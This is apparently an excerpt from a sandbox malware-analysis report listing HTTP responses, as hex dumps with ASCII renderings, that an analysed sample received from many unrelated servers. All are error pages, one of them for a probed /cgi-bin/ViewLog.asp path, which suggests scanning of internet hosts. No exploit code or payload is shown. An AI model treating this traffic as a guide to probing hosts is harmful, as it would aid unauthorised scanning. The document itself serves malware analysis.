20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 37 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Sat, 02 Mar 2024 11:37:44 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/plaindate: Sat, 02 Mar 2024 11:37:44 GMTcontent-encoding: gziptransfer-encoding: chunkedserver: Fly/8f449382 (2024-03-01)via: 1.1 fly.iofly-request-id: 01HQZF9BJD747P777DFYPGEMV9-lgaData Raw: 32 36 0d 0a 1f 8b 08 00 00 00 00 00 04 ff 33 31 30 51 28 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b 01 00 e9 59 1b 94 12 00 00 00 0d 0a Data Ascii: 26310Q(HLOU/QH/KY
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sat, 02 Mar 2024 11:37:45 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.20.1Date: Sat, 02 Mar 2024 11:37:44 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.20.1</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:37:46 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:37:46 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 61 74 2c 20 30 32 20 4d 61 72 20 32 30 32 34 20 31 31 3a 33 37 3a 34 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>HTTP/1.1 400 Bad RequestServer: nginxDate: Sat, 02 Mar 2024 11:37:46 GMTContent-Type: text/htmlContent-Length: 150Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 02 Mar 2024 11:37:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:49 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat Mar 2 14:37:49 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5Date: Sat, 02 Mar 2024 11:38:27 GMTContent-Length: 1259Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 63 68 69 65 72 20 6f 75 20 72 e9 70 65 72 74 6f 69 72 65 20 69 6e 74 72 6f 75 76 61 62 6c 65 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 45 72 72 65 75 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Date: Sat, 02 Mar 2024 11:37:51 GMTContent-Length: 52Data Raw: 7b 22 63 6f 64 65 22 3a 22 50 41 47 45 5f 4e 4f 54 5f 46 4f 55 4e 44 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 22 7d Data Ascii: {"code":"PAGE_NOT_FOUND","message":"Page not found"}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Sat, 02 Mar 2024 11:38:06 GMTServer: LANCOMData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4c 41 4e 43 4f 4d 3a 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 66 6f 6e 74 73 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 66 69 6c 65 73 2f 63 73 73 2f 77 65 62 63 6f 6e 66 69 67 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 66 69 6c 65 73 2f 6a 61 76 61 73 63 72 69 70 74 2f 6f 75 74 73 69 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 70 72 65 76 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6f 75 74 73 69 64 65 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 6e 6f 6a 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 62 6c 6f 63 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 6e 6f 73 63 72 69 70 74 5f 76 69 73 69 62 6c 65 5f 69 6e 6c 69 6e 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 76 61 72 20 73 63 72 69 70 74 65 64 5f 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 74 79 6c 65 22 29 3b 0d 0a 73 63 72
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/htmlContent-Length: 89Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/htmlContent-Length: 89Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 02 Mar 2024 11:38:10 GMTServer: ApacheX-Powered-By: PHP/8.0.30Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.lernio.in/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 09 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4c 65 72 6e 69 6f 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 27 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 72 65 6c 3d 27 70 72 65 63 6f 6e 6e 65 63 74 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 4c 65 72 6e 69 6f 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 4c 65 72 6e 69 6f 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 65 72 6e 69 6f 2e 69 6e 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 